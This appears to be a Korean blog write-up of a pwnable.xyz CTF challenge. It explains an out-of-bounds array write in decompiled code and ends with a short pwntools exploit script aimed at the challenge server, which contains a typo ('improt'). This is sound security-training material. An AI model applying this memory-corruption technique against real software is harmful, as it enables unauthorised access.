Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

실행파일을 실행시켜보니까 add문제랑 똑같이 동작한다.

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-A0h]
  _QWORD v5[3]; // [rsp+18h] [rbp-98h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  memset(&s, 0, 0x98uLL);
  *(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
  {
    v5[v8 + 6] = v6 + v7;
    printf("Result: %ld\n", v5[v8 + 6]);
  }
  if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
    win("%ld %ld %ld", &v6);
  return 0;
}

 

v5 + 7위치에 0xDEADBEEF를 넣어준다.

v5가 0x7fffffffddf8에 위치해 있고 v5+7 부분에 0xdeadbeef가 들어가 있는 것을 확인할 수 있다.

 

v6, v7, v8에 각각 long형 정수를 입력받는다. 이때, v8이 9 이하 -7 이상이면 계속 정수 세 개를 입력받는다.

v5[v8 + 6]에 v6+v7을 연산해서 넣어준 후 v5[v8 + 6]을 출력해준다.

 

while문이 끝나고 만약 v5+7부분에 0xB000000B5가 들어가있다면 win함수를 실행시켜 준다.

 

[win]

int win()
{
  return system("cat /flag");
}

 

헷갈리니까 0xDEADBEEF가 들어간 모양을 보고 대입해보면

v5[0]에 0xb5000000 00000000을 넣고 v5[1]에 0x00000000 0b000000을 넣어주면 된다.

 

이렇게 두 개의 숫자를 넣어주자.

 

[payload]

from pwn improt *

r = remote('svc.pwnable.xyz', 30003)

r.sendline("0 -5404319552844595200 -6")
r.sendline("1 184549367 -5")
r.sendline("ryuliguseul")

r.interactive()

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] add  (0) 2020.04.16
[pwnable.xyz] sub  (0) 2020.04.13
[pwnable.xyz] Welcome  (0) 2020.04.11

+ Recent posts